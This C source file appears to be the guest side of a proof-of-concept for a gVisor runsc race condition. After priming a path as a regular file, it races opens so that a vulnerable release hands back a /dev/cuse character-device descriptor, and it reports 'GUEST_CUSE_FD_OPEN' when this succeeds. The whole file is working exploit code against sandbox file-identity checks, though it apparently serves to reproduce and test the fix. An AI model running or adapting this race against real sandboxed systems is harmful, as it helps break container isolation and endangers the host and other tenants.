// guest_cuse_identity.c - secondary identity-control path inside runsc.
// This retains the original /dev/cuse substitution comparison: after priming
// target as a regular dentry, vulnerable openHandle can return a CUSE FD (its
// positional read reports EINVAL); the fixed release rejects the regular-to-
// character identity change with ESTALE. The loop-block test is the primary
// host-effect proof because CUSE protocol traffic needs non-positional I/O.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
int main(int argc,char**argv){
 if(argc<3){fprintf(stderr,"usage: %s <path> <seconds>\n",argv[0]);return 2;}
 const char*path=argv[1];int secs=atoi(argv[2]);int p=open(path,O_RDWR|O_CLOEXEC);if(p<0){perror("prime");return 2;}close(p);
 int r=open("/race/guest-ready",O_WRONLY|O_CREAT|O_CLOEXEC,0666);if(r<0){perror("ready");return 2;}close(r);
 struct timespec s,n;clock_gettime(CLOCK_MONOTONIC,&s);while(access("/race/host-go",F_OK)!=0){clock_gettime(CLOCK_MONOTONIC,&n);if(n.tv_sec-s.tv_sec>10)return 2;usleep(1000);}
 unsigned long opens=0,regular=0,estale=0,eperm=0,other=0;clock_gettime(CLOCK_MONOTONIC,&s);
 for(;;){clock_gettime(CLOCK_MONOTONIC,&n);if(n.tv_sec-s.tv_sec>=secs)break;opens++;int fd=open(path,O_RDWR|O_TRUNC|O_CLOEXEC);
  if(fd<0){if(errno==ESTALE)estale++;else if(errno==EPERM)eperm++;else other++;continue;}
  char b;errno=0;ssize_t nr=read(fd,&b,1);if(nr==0)regular++;else if(nr<0&&(errno==EINVAL||errno==ESPIPE)){
   printf("GUEST_CUSE_FD_OPEN: opens=%lu read_errno=%d\n",opens,errno);fflush(stdout);sleep(1);close(fd);return 0;
  }else other++;close(fd);
 }
 printf("GUEST_CUSE_NOWIN: opens=%lu regular=%lu estale=%lu eperm=%lu other=%lu\n",opens,regular,estale,eperm,other);return 1;
}
